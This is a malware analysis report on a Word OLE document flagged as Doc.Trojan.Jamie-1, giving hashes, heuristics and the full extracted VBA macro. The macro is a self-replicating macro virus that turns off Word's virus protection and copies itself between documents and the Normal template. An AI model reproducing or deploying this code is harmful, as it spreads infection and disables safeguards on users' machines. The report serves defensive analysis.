Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7a5295fe126d5853…

MALICIOUS

Office (OLE)

27.5 KB Created: 1999-06-19 07:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c10f4cfdf6109c89d866f70145c9af9f SHA-1: 7dcc48875ff1afc4ce13621283576b452491f922 SHA-256: 7a5295fe126d5853ae0a8bb4bba6f113e5170dcee16859b22a36fa34a514e8f1
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document containing a malicious VBA macro, specifically triggered by the Document_Open event. The macro manipulates its own description and attempts to export/import code, suggesting an attempt to hide or install further malicious components. The presence of 'Jamie' in the code and the ClamAV detection 'Doc.Trojan.Jamie-1' strongly indicate malicious intent, likely as a downloader or dropper.

Heuristics 3

  • ClamAV: Doc.Trojan.Jamie-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Jamie-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1594 bytes
SHA-256: e377e78d688b17221dbcc33e5f77c1709dd11c7401f2d28c36716e48c5a294fa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = False
Options.SaveNormalPrompt = False
ActiveDocument.VBProject.VBComponents.Item (1)
Options.ConfirmConversions = False
Set AD = ActiveDocument.VBProject.VBComponents.Item(1)
Set NT = NormalTemplate.VBProject.VBComponents.Item(1)
If ActiveDocument.VBProject.Description <> "For Jamie..." Then GoTo ADI
If NormalTemplate.VBProject.Description <> "For Jamie..." Then GoTo NTI
End
ADI:
Set MTI = AD
Set MTC = NT
OPM = "Private Sub Document_Close()"
AII = AD.CodeModule.CountOfLines
ActiveDocument.VBProject.Description = "For Jamie..."
GoTo Install
NTI:
Set MTI = NT
Set MTC = AD
OPM = "Private Sub Document_Open()"
AII = NT.CodeModule.CountOfLines
NormalTemplate.VBProject.Description = "For Jamie..."
GoTo Install
Install:
If AII > 0 Then
 With MTI.CodeModule
  For x = x To AII
  .DeleteLines 1
  Next
 End With
End If
If AII >= 0 Then
 MTC.Export ("Jamie.tmp")
 MTI.CodeModule.AddFromFile ("Jamie.tmp")
  With MTI.CodeModule
   For x = x To 3
   .DeleteLines 1
   Next
   .ReplaceLine 1, OPM
  End With
 Kill ("Jamie.tmp")
End If
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
',.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,.,
'      Jamie(Type B) By Lys KovicK
'';';';';';';';';';';';';';';';';';';';';'

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